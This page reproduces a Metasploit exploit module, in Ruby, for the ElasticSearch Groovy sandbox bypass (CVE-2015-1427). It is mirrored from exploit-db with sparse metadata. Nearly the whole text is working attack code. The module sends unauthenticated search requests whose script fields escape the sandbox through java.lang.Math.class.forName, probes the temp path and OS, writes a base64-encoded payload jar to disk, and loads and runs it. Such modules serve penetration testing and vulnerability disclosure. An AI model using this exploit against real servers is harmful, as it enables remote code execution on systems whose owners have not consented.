ElasticSearch – Search Groovy Sandbox Bypass (Metasploit)

  • 作者: Metasploit
    日期: 2015-03-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36415/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
    'Description'=> %q{
    This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
    exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
    REST API, which does not require authentication, where the search function allows
    groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
    to reference arbitrary classes. It can be used to execute arbitrary Java code. This
    module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
    },
    'Author' =>
    [
    'Cameron Morris', # Vulnerability discovery
    'Darren Martyn', # Public Exploit
    'juan vazquez' # Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2015-1427'],
    ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
    ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
    ['URL', 'http://drops.wooyun.org/papers/5107']
    ],
    'Platform' => 'java',
    'Arch' => ARCH_JAVA,
    'Targets'=>
    [
    ['ElasticSearch 1.4.2', {}]
    ],
    'DisclosureDate' => 'Feb 11 2015',
    'DefaultTarget' => 0))
    
    register_options(
    [
    Opt::RPORT(9200),
    OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
    ], self.class)
    end
    
    def check
    result = Exploit::CheckCode::Safe
    
    if vulnerable?
    result = Exploit::CheckCode::Vulnerable
    end
    
    result
    end
    
    def exploit
    print_status("#{peer} - Checking vulnerability...")
    unless vulnerable?
    fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end
    
    print_status("#{peer} - Discovering TEMP path...")
    res = execute(java_tmp_dir)
    tmp_dir = parse_result(res)
    if tmp_dir.nil?
    fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
    print_good("#{peer} - TEMP path on '#{tmp_dir}'")
    end
    
    print_status("#{peer} - Discovering remote OS...")
    res = execute(java_os)
    os = parse_result(res)
    if os.nil?
    fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
    else
    print_good("#{peer} - Remote OS is '#{os}'")
    end
    
    if os =~ /win/i
    tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
    else
    tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
    end
    
    register_files_for_cleanup(tmp_file)
    
    print_status("#{peer} - Trying to load metasploit payload...")
    java = java_load_class(os, tmp_file)
    execute(java)
    end
    
    def vulnerable?
    java = 'java.lang.Math.class.forName("java.lang.Runtime")'
    
    vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
    res = execute(java)
    result = parse_result(res)
    
    if result.nil?
    vprint_status("#{peer} - no response to test")
    return false
    elsif result == 'class java.lang.Runtime'
    return true
    end
    
    false
    end
    
    def parse_result(res)
    unless res
    vprint_error("#{peer} - No response")
    return nil
    end
    
    unless res.code == 200 && res.body
    vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
    return nil
    end
    
    begin
    json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
    return nil
    end
    
    begin
    result = json['hits']['hits'][0]['fields']['msf_result']
    rescue
    return nil
    end
    
    result.is_a?(::Array) ? result.first : result
    end
    
    def java_tmp_dir
    'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
    end
    
    def java_os
    'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
    end
    
    def java_load_class(os, tmp_file)
    if os =~ /win/i
    tmp_file.gsub!(/\\/, '\\\\\\\\')
    end
    
    java = [
    'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
    'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
    "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
    'b64_i=b64.newInstance();',
    "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
    'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
    'file_class=java.lang.Math.class.forName("java.io.File");',
    "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
    'loader=loader_class.newInstance();',
    'loader.addURL(file_url);',
    'm=loader.loadClass(\'metasploit.Payload\');',
    'm.main(null);'
    ]
    
    java.join
    end
    
    def execute(java, timeout = 20)
    payload = {
    "size" => 1,
    "query" => {
    "filtered" => {
    "query" => {
    "match_all" => {}
    }
    }
    },
    "script_fields" => {
    "msf_result" => {
    "script" => java
    }
    }
    }
    
    res = send_request_cgi({
    'uri'=> normalize_uri(target_uri.path.to_s, "_search"),
    'method' => 'POST',
    'data' => JSON.generate(payload)
    }, timeout)
    
    res
    end
    
    end